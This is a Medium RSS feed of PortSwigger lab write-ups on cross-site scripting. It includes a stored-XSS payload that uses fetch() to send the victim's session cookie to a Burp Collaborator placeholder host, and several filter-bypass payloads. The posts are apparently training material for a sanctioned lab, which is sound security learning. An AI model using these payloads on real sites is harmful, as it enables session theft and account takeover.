<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Chirag Vyas on Medium]]></title>
        <description><![CDATA[Stories by Chirag Vyas on Medium]]></description>
        <link>https://medium.com/@chiragvyas369?source=rss-c00e79ace43d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*3b6A2__8R32fE2fS</url>
            <title>Stories by Chirag Vyas on Medium</title>
            <link>https://medium.com/@chiragvyas369?source=rss-c00e79ace43d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 04:19:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@chiragvyas369/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Lab: Exploiting cross-site scripting to steal cookies]]></title>
            <link>https://medium.com/@chiragvyas369/lab-exploiting-cross-site-scripting-to-steal-cookies-00499eca9bf0?source=rss-c00e79ace43d------2</link>
            <guid isPermaLink="false">https://medium.com/p/00499eca9bf0</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[session-hijacking]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[stored-xss]]></category>
            <dc:creator><![CDATA[Chirag Vyas]]></dc:creator>
            <pubDate>Wed, 28 Jan 2026 13:53:46 GMT</pubDate>
            <atom:updated>2026-01-28T13:53:46.359Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oqcsn5OxKcKqUY91tsayJQ.png" /></figure><h3><strong>Lab Description:</strong></h3><p>This <a href="https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies"><strong>lab</strong></a> contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s session cookie, then use this cookie to impersonate the victim.</p><h3>Prerequisites</h3><p>To complete this lab, you should be familiar with:</p><ul><li>The basics of <strong>cross-site scripting (XSS)</strong> and how JavaScript can be injected into web pages</li><li>How <strong>cookies</strong> are used for session management and how they can be accessed via client-side scripts</li><li>Basic <strong>JavaScript syntax</strong>, including simple expressions such as alert() and document.cookie</li><li>How user input is reflected back in web application responses</li><li>Using <strong>Burp Suite</strong> to intercept and analyze HTTP requests (recommended)</li><li>Burp Suite Professional because all testing should be performed only within the <strong>PortSwigger Web Security Academy lab environment</strong>.</li></ul><h3>Walk-Through:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*yha9jn6AH3ZXa2kFD4YQnw.png" /></figure><p>As given in description, There is a blogging application.</p><p>Goal : First discover the XSS and then exploit it to steal session cookies and impersonate victim.</p><p>XSS Discovery:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*uhLiLPX8XNbZKQtNcFi5Mw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*2Nqt3PABF2bzVs6UyWW4ew.png" /></figure><p>As shown in image, XSS is triggered.</p><p>Payload: <strong>&lt;script&gt;alert(1)&lt;/script&gt;</strong></p><p>This is not the end goal, this is just to confirm that there is a XSS vulnerability.</p><p>Exploit XSS to get Session Cookies:</p><p>Goal is to access and transmit Session Cookies to attacker control domain.</p><blockquote>Note : Here attacker control domain is burp collaborator domain.</blockquote><blockquote>Cookies cannot be accessed directly via fetch or XMLHttpRequest.<br> JavaScript can read cookies only using document.cookie.<br> APIs such as fetch and XMLHttpRequest are commonly used to <strong>exfiltrate</strong> the stolen cookie data.</blockquote><blockquote>Cookie behavior</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*eRBkFKp2l6NG4yQAlIGTtA.png" /></figure><blockquote>Common use in XSS attacks</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*tbKIMlEX0sQILyqGfJBqKQ.png" /></figure><p>Steps to produce:</p><p><strong>Payload:</strong></p><pre>&lt;script&gt;<br>fetch(&#39;https://BURP-COLLABORATOR-SUBDOMAIN&#39;, {<br>method: &#39;POST&#39;,<br>mode: &#39;no-cors&#39;,<br>body:document.cookie<br>});<br>&lt;/script&gt;</pre><p>Paste this payload in comment and enter details.</p><p>Replace BURP-COLLABORATOR-SUBDOMAIN with domain provided by burp collaborator.</p><p>Submit form.</p><p>Poll interactions from burp collaborator tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iC5Jz50S26D6Ixs2Vkc7Aw.png" /></figure><p>It shows session cookie.</p><p>Impersonate Victim:</p><p>Click on My account</p><p>Capture request in burp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*3tTUBWjgvFjqxiu0c-dVTg.png" /></figure><p>Replace the session cookie’s value with obtained one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*5w__UuKdqhW8uMwQrNbhaw.png" /></figure><p>Replaced session cookie.</p><p>Send the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*Fv-RgKkJR9I2XV7v5_ygVQ.png" /></figure><h3>Lab Solved!!!</h3><h3>Purpose of the Lab :</h3><p>To demonstrate impact of the successful XSS attack.</p><h3>Reference:</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FhSc6WmsbXmI%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DhSc6WmsbXmI&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FhSc6WmsbXmI%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/29f7874c0d5b939a70ae451c26723ed0/href">https://medium.com/media/29f7874c0d5b939a70ae451c26723ed0/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FN_87S9XVy0w%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DN_87S9XVy0w&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FN_87S9XVy0w%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6cbd2f2cf6275cd7f29031f05a8d1a42/href">https://medium.com/media/6cbd2f2cf6275cd7f29031f05a8d1a42/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=00499eca9bf0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash…]]></title>
            <link>https://medium.com/@chiragvyas369/lab-reflected-xss-into-a-template-literal-with-angle-brackets-single-double-quotes-backslash-01839a1fbbe4?source=rss-c00e79ace43d------2</link>
            <guid isPermaLink="false">https://medium.com/p/01839a1fbbe4</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[template-literals]]></category>
            <category><![CDATA[reflected-xss]]></category>
            <dc:creator><![CDATA[Chirag Vyas]]></dc:creator>
            <pubDate>Tue, 16 Sep 2025 14:31:18 GMT</pubDate>
            <atom:updated>2025-09-16T14:31:18.839Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QHI6EeuLlqArSwdrJnuw7g.png" /></figure><h3>Lab Description:</h3><p>This lab contains a reflected cross-site scripting vulnerability in the search blog functionality. The reflection occurs inside a template string with angle brackets, single, and double quotes HTML encoded, and backticks escaped. To solve this lab, perform a cross-site scripting attack that calls the alert function inside the template string.</p><h3>Walk-Through:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*x4Kw0QPMpDE1rJEUnAhbqg.png" /></figure><p>As usual, there is a web application which contains a search functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*PNVp0t6i1cSkCTLs6mJMoQ.png" /></figure><p>Search functionality reflecting user input at 2 places.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*ldAuQs02_SMdUICSDe5i-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*2Qk1IC8wrQQI5hBIHq_7yg.png" /></figure><p>As lab title mentions, single quote and double quote, angular brackets, backslash and backtick are Unicode encoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*bqv3Wq3y0-6trnpr6edSQg.png" /></figure><p>These security checks are strongly implemented, thus there is no direct way to bypass these.</p><p>Demo:</p><p>Payload → hello’`;alert();//</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*R_k5fpx_tV08frAB3sDH-A.png" /></figure><p>Trying to break JavaScript string and execute payload but, it fails.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*0KPF_Jvxf5BL_pi04BS7SA.png" /></figure><p>Exploiting Vulnerability:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*9fai7NmEt8shcAnRKXirQA.png" /></figure><p>Web server is using template literal (Stated in description) that can be verified by looking at the string.</p><p>Indication : Backtick ( ` ) as string quotes to start and end a string.</p><blockquote>JavaScript Template Literals</blockquote><blockquote>Template literals are string literals that allow embedded expressions (variables) into your code. They are enclosed by <strong>backticks (`) </strong>instead of <strong>single (‘)</strong> or <strong>double (“)</strong> quotes.</blockquote><blockquote>Template literals allow us to include variable or execute some functions.</blockquote><blockquote>Template literals use <strong>backticks</strong> (`) instead of quotes.</blockquote><blockquote>They allow <strong>string interpolation</strong> with ${...}.</blockquote><blockquote>🔹 Exploiting Template Literals</blockquote><blockquote>Since <strong>${...}</strong> can execute arbitrary JavaScript expressions, an attacker can inject malicious code.</blockquote><blockquote>Example: Execute alert()</blockquote><blockquote>let payload = `Hello ${alert(&#39;XSS&#39;)}`;<br>console.log(payload);</blockquote><blockquote>➡️ When evaluated, it executes alert(&#39;XSS&#39;).</blockquote><p>Payload : ${alert(document.domain)}</p><p>Explanation :</p><p>${} → default syntax for invoke variable or function inside template literal.</p><p>alert(document.domain) → actual payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*4IXCwjlZB_gWvXDLz4UlsQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*0TtpUb4pHtHT48rcRXt71Q.png" /></figure><h3>Lab Solved!!!</h3><h3>References :</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fy0onQRBnwMM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dy0onQRBnwMM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fy0onQRBnwMM%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/5eb9c7fe5c1275980ca915af819b5f01/href">https://medium.com/media/5eb9c7fe5c1275980ca915af819b5f01/href</a></iframe><p><a href="https://www.geeksforgeeks.org/javascript/javascript-template-literals/">JavaScript Template Literals - GeeksforGeeks</a></p><p>ChatGPT &amp; Google Gemini</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=01839a1fbbe4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single…]]></title>
            <link>https://medium.com/@chiragvyas369/lab-stored-xss-into-onclick-event-with-angle-brackets-and-double-quotes-html-encoded-and-single-cace8aba35c2?source=rss-c00e79ace43d------2</link>
            <guid isPermaLink="false">https://medium.com/p/cace8aba35c2</guid>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[stored-xss]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Chirag Vyas]]></dc:creator>
            <pubDate>Mon, 15 Sep 2025 14:29:34 GMT</pubDate>
            <atom:updated>2025-09-15T14:29:34.164Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oQ5AWzOuIsvh6OggFqBsSg.png" /></figure><h3>Lab Description:</h3><p>This lab contains a stored cross-site scripting vulnerability in the comment functionality.</p><p>To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.</p><h3>Walk-Through:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*oYRri8Pwf3MXkR3DSCWDlw.png" /></figure><p>There is a blogging website which has a functionality to do a comment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*1UlzF6mQsxVbu7sUpibfLA.png" /></figure><p>Comment functionality consist of 4 parts:</p><p>Comment</p><p>Name</p><p>Email</p><p>Website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*2GedqbsqpAFEXOPRHDXPqw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*46rXQp8TDBOR7TEvML8UHw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*yvtEl4Il2BSiWhpeUYipIg.png" /></figure><p>Parameter “Website” is appending in an anchor tag.</p><p>That is an indication of potential vulnerability.</p><p>There are 2 places where input (Website) is appending.</p><p>Payload:</p><p>Trying to break the string either by single quote or double quote will not work as lab title says single quote and double quotes are escaping.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*OgiGhQ1Bd_2YFQ1x-2eLag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*0QOOpNlIJOv1_2TEF64MFw.png" /></figure><p>As seen in the picture, payload did not break the string instead now single quotes are part of the string.</p><p>The same goes with backslash, as backslash is also being escape.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*RpQ6wXrD8sxie34XBuZeFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*6HN5_-CXJpMW7JcwNj2Adg.png" /></figure><p>Working Payload:</p><p>HTML entity encoding can be used to bypass the server side filters.</p><ul><li>In HTML, special characters like &lt;, &gt;, &quot;, and &#39; can’t always be used directly because they may break the syntax.</li><li>To handle that, HTML defines <em>entities</em> like:</li><li>&amp;lt; → &lt;</li><li>&amp;gt; → &gt;</li><li>&amp;quot; → &quot;</li><li>&amp;apos; → &#39;</li><li>&amp;amp; → &amp;</li></ul><p>Payload → <a href="https://abc.com&amp;apos;+alert()+&amp;apos;/">https://abc.com&amp;apos;+alert()+&amp;apos;</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*9GvbqWK_MiR_NGkH1_vAfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*wYW51Og0hlSVZVp_aZWtDA.png" /></figure><p>As seen in the picture, payload is able to break the string, thus it will execute XSS.</p><p>To execute, click on the link (name) (In real life situation victim will unknowingly click on it).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*Mp_-EsYV30gbR95wfbZ2Yw.png" /></figure><h3>🔹 Why the Filters Failed</h3><ul><li>They correctly encoded &lt;, &gt;, and &quot; — but <strong>the vulnerability isn’t in HTML tags</strong>, it’s in the <strong>JavaScript context inside an event handler</strong>.</li><li>They also tried escaping &#39;, but &amp;apos; is <strong>decoded back into </strong><strong>&#39; by the browser</strong> at runtime (Not by server)!</li><li>That’s why encoding alone wasn’t enough — context-aware escaping is required.</li></ul><h3>🔹 Mitigation</h3><ol><li><strong>Never inject untrusted data into inline JavaScript or event handlers</strong>.</li></ol><ul><li>Example: Avoid onclick=&quot;doSearch(&#39;USER_INPUT&#39;)&quot;</li><li>Instead, bind event listeners in external JS.</li></ul><p>2. Use <strong>context-aware escaping</strong>:</p><ul><li>HTML encoding (&amp;lt;, &amp;gt;, etc.) for HTML text.</li><li>JavaScript string escaping (\&#39;, \&quot;, \\) inside script contexts.</li></ul><p>3. Implement a <strong>Content Security Policy (CSP)</strong> to block inline JavaScript execution.</p><p>4. Use security libraries like <strong>DOMPurify</strong> for sanitization.</p><h3>Lab Solved!!!</h3><h3>Reference:</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F-4ia_L-uLGY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D-4ia_L-uLGY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F-4ia_L-uLGY%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/8653e09884cde64de541638d27a40996/href">https://medium.com/media/8653e09884cde64de541638d27a40996/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cace8aba35c2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and…]]></title>
            <link>https://medium.com/@chiragvyas369/lab-reflected-xss-into-a-javascript-string-with-angle-brackets-and-double-quotes-html-encoded-and-b299ab47692c?source=rss-c00e79ace43d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b299ab47692c</guid>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[xss-bypass]]></category>
            <category><![CDATA[reflected-xss]]></category>
            <dc:creator><![CDATA[Chirag Vyas]]></dc:creator>
            <pubDate>Sat, 13 Sep 2025 14:10:34 GMT</pubDate>
            <atom:updated>2025-09-13T14:10:34.772Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_h-lbe7WsufELa7UPkMCDA.png" /></figure><h3>Lab Description:</h3><p>This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality, where angle brackets and double are HTML encoded, and single quotes are escaped.</p><p>To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.</p><h3>Walk-Through:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*itdfADPysXP_ex_zxcLKEw.png" /></figure><p>As usual, there is a search functionality on the website which reflects user input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*I9SodSVeeimedOzUe0cW6Q.png" /></figure><p>User input is reflected on 3 places in the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/333/1*TCDRKP_lpAMq5AgS5gKXwA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*sgEg54CRGoVGObnFUzD-dg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*YDi1_v9a25bMLCnEPFjvew.png" /></figure><p>Single quote is escaping as lab description says:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*8BmgOAHgm5QrkQ8MAJe_nQ.png" /></figure><p>For this, backslash is used but, backslash is can also be bypassed (By providing backslash in user input).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*hSyX_ERHSsE6VNcrxYiUYw.png" /></figure><p>Payload : \’+alert(document.domain)//</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*u3VQV0MzJUXf8MlSxdBW0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*QZK8ZY1nSzKEnTDI-x5T7Q.png" /></figure><p>Explanation:</p><p>Payload works because \’ breaks the string and</p><p>// comment out everything else</p><p>so now alert was part of script tag (which is malicious).</p><h3>🔹 Why This Works</h3><ul><li>The <strong>developer failed to escape user input</strong> before putting it into a JavaScript string.</li><li>The payload <strong>closes the string, executes code, and comments out leftovers</strong>.</li></ul><h3>Lab Solved!!!</h3><h3>Reference:</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F2qZMHqlJwKc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D2qZMHqlJwKc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F2qZMHqlJwKc%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/bc853189c821bf6043a2f1495969a06e/href">https://medium.com/media/bc853189c821bf6043a2f1495969a06e/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b299ab47692c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped]]></title>
            <link>https://medium.com/@chiragvyas369/lab-reflected-xss-into-a-javascript-string-with-single-quote-and-backslash-escaped-856ceba44a4b?source=rss-c00e79ace43d------2</link>
            <guid isPermaLink="false">https://medium.com/p/856ceba44a4b</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[reflected-xss]]></category>
            <dc:creator><![CDATA[Chirag Vyas]]></dc:creator>
            <pubDate>Fri, 12 Sep 2025 15:10:16 GMT</pubDate>
            <atom:updated>2025-09-12T15:10:16.550Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zRh9w3C9ywMTNTbRcvX1zQ.png" /></figure><h3>Lab Description:</h3><p>This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.</p><p>To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.</p><h3>Walk-Through:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*-JdwEEXC11O1rz_QyuF1hQ.png" /></figure><p>As usual, the website has some search functionality which reflects the input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*JGharXcHVlhXsoytCIdYZQ.png" /></figure><p>“hello” is reflecting on the browser at 3 different places.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*sjy0OW8YRp3Ck0F0A1F3vQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*Umn88GyH26QwYBENlU_t3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*RDycBhC0Yuw7eEKmi3Ociw.png" /></figure><p>Now, as lab mentions, the vulnerability lies in the script tag.</p><p>Firstly, trying to break single quote. (By providing another single quote).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*2mHCkfoNBA1E-HthotRA8A.png" /></figure><p>Server successfully escapes a single quote.</p><p>So, now trying to break/bypass backslash. (By providing a backslash)</p><p>Server successfully escapes backslash also.</p><p>One more important thing in XSS is Angular brackets.</p><p>Trying to inject angular brackets:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*lODN4tJ7_4A3OYdU1vcW3w.png" /></figure><p>Angular brackets are able to bypass filters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*JI8thAiJhBYXjuF09-miAQ.png" /></figure><p>Exploiting Vulnerability:</p><p>Payload : &lt;/script&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*hYnV-Iw2Rs-e_bppNn8-Pw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*9enzJYynsPGb1fjbc3JAUA.png" /></figure><h3>Explanation:</h3><p>As input is already appending inside the script tag, payload tries to break the script tag and include malicious script tag.</p><p>But why this payload works due to payload never actually closes single quote.</p><p>The payload works because how HTML processes first &lt;/script&gt; as actual closing of a previously started script tag, regardless of it being in the string.</p><p>Note : This is vulnerability of HTML (how it processes this kind of input) not JavaScript.</p><h3>Lab Solved!!!</h3><h3>Reference:</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FOwcT9ahQlSU%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DOwcT9ahQlSU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FOwcT9ahQlSU%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/1411fdfb5137b522fb5c898777a49af9/href">https://medium.com/media/1411fdfb5137b522fb5c898777a49af9/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=856ceba44a4b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reflected XSS in canonical link tag]]></title>
            <link>https://medium.com/@chiragvyas369/reflected-xss-in-canonical-link-tag-5460e56f660e?source=rss-c00e79ace43d------2</link>
            <guid isPermaLink="false">https://medium.com/p/5460e56f660e</guid>
            <category><![CDATA[accesskey]]></category>
            <category><![CDATA[canonical]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[reflected-xss]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Chirag Vyas]]></dc:creator>
            <pubDate>Wed, 03 Sep 2025 12:13:35 GMT</pubDate>
            <atom:updated>2025-09-03T12:13:35.445Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3seOA3aRwAHijUKm7ucRWQ.png" /></figure><h3>Lab Description:</h3><p>This lab reflects user input in a canonical link tag and escapes angle brackets.</p><p>To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the alert function.</p><p>To assist with your exploit, you can assume that the simulated user will press the following key combinations:</p><ul><li>ALT+SHIFT+X</li><li>CTRL+ALT+X</li><li>Alt+X</li></ul><h3>Walk-Through:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7LHwuwCvE1BBwYlEOs0fUw.png" /></figure><p>Lab has not visible input fields.</p><blockquote>Note : As I am also a newbie, I have tried to inject payload in form also. But that was not exploitable and also that comes under stored XSS.</blockquote><p>As lab stats, that vulnerability lies in the canonical link.(Explained at the end)</p><p>So, simply append “?hello” to see if it is actually vulnerable or not by confirming that it is appending/reflecting in the canonical link tag.</p><blockquote>Note : here you can write any string after ‘?’.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*h-9DnZUcn7gGrKUde3Mzzw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*JIwBOj4HGONjq3XBmpeDVA.png" /></figure><p>In the source, a web application is reflecting payload. That is the sign that web application is vulnerable.</p><p>Now, In order to break the tag ‘ can be used.</p><p>Payload to break tag : ?’onclick=alert(document.domain)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*cd0ITZfTozxoFRl3hQ60gQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t_0n0gK_oCkvK5owB0UV-g.png" /></figure><p>But, as seen in the picture, the server adds a single quote from its side.</p><p>Payload : ?’onclick=’alert(document.domain)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*SdxJGHib4bD_NpsOeL5lqw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zpw6U-cFS6nVlP6wTSXZjw.png" /></figure><p>Payload is fully ready, but there is a problem. Head tag does not reflect on web page means it can not be clicked. Here comes the concept of ‘access keys’.</p><p>Access keys can be used for clicking those elements who are not visible, thus not clickable directly.</p><p>Payload : ?’accesskey=’x’onclick=’alert(document.domain)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*9r0u5yL4wNhngbTU-cYTEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_z16epGuoQWqd0foM37_ZQ.png" /></figure><p>Lab Solved, but payload does not trigger.</p><p>To do that press any keys order mention in the description.</p><p>For me, in fire fox key was alt + shift + x</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*eXJ7Vx4qk9B8yFw61Il9Zg.png" /></figure><h3>Lab Solved!!!</h3><h3>Canonical link &amp; Canonical Tag</h3><p>A canonical URL is the URL that indicates the original or master version of a web page when duplicate or near-duplicate content exists on a site, or across different sites. It is defined using a <a 